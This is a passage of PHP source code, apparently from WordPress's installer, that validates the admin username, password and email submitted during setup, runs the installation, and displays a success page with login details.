<p><?php _e( 'Welcome to the famous five-minute WordPress installation process! Just fill in the information below and you&#8217;ll be on your way to using the most extendable and powerful personal publishing platform in the world.' ); ?></p>

<h2><?php _e( 'Information needed' ); ?></h2>
<p><?php _e( 'Please provide the following information. Do not worry, you can always change these settings later.' ); ?></p>

		<?php
		display_setup_form();
		break;
	case 2:
		if ( ! empty( $language ) && load_default_textdomain( $language ) ) {
			$loaded_language      = $language;
			$GLOBALS['wp_locale'] = new WP_Locale();
		} else {
			$loaded_language = 'en_US';
		}

		if ( ! empty( $wpdb->error ) ) {
			wp_die( $wpdb->error->get_error_message() );
		}

		$scripts_to_print[] = 'user-profile';

		display_header();
		// Fill in the data we gathered.
		$weblog_title         = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : '';
		$user_name            = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : '';
		$admin_password       = isset( $_POST['admin_password'] ) ? wp_unslash( $_POST['admin_password'] ) : '';
		$admin_password_check = isset( $_POST['admin_password2'] ) ? wp_unslash( $_POST['admin_password2'] ) : '';
		$admin_email          = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : '';
		$public               = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : 1;

		// Check email address.
		$error = false;
		if ( empty( $user_name ) ) {
			// TODO: Poka-yoke.
			display_setup_form( __( 'Please provide a valid username.' ) );
			$error = true;
		} elseif ( sanitize_user( $user_name, true ) !== $user_name ) {
			display_setup_form( __( 'The username you provided has invalid characters.' ) );
			$error = true;
		} elseif ( $admin_password !== $admin_password_check ) {
			// TODO: Poka-yoke.
			display_setup_form( __( 'Your passwords do not match. Please try again.' ) );
			$error = true;
		} elseif ( empty( $admin_email ) ) {
			// TODO: Poka-yoke.
			display_setup_form( __( 'You must provide an email address.' ) );
			$error = true;
		} elseif ( ! is_email( $admin_email ) ) {
			// TODO: Poka-yoke.
			display_setup_form( __( 'Sorry, that is not a valid email address. Email addresses look like <code>username@example.com</code>.' ) );
			$error = true;
		}

		if ( false === $error ) {
			$wpdb->show_errors();
			$result = wp_install( $weblog_title, $user_name, $admin_email, $public, '', wp_slash( $admin_password ), $loaded_language );
			?>

<h1><?php _e( 'Success!' ); ?></h1>

<p><?php _e( 'WordPress has been installed. Thank you, and enjoy!' ); ?></p>

<table class="form-table install-success">
	<tr>
		<th><?php _e( 'Username' ); ?></th>
		<td><?php echo esc_html( sanitize_user( $user_name, true ) ); ?></td>
	</tr>
	<tr>
		<th><?php _e( 'Password' ); ?></th>
		<td>
			<?php if ( ! empty( $result['password'] ) && empty( $admin_password_check ) ) : ?>
				<code><?php echo esc_html( $result['password'] ); ?></code><br />
			<?php endif; ?>
			<p><?php echo $result['password_message']; ?></p>
		</td>
	</tr>
</table>

<p class="step"><a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log In' ); ?></a></p>

			<?php
		}
		break;
}

if ( ! wp_is_mobile() ) {
	?>
<script type="text/javascript">var t = document.getElementById('weblog_title'); if (t){ t.focus(); }</script>
	<?php
}

wp_print_scripts( $scripts_to_print );
?>
<script type="text/javascript">
jQuery( function( $ ) {
	$( '.hide-if-no-js' ).removeClass( 'hide-if-no-js' );
} );
</script>
</body>
</html>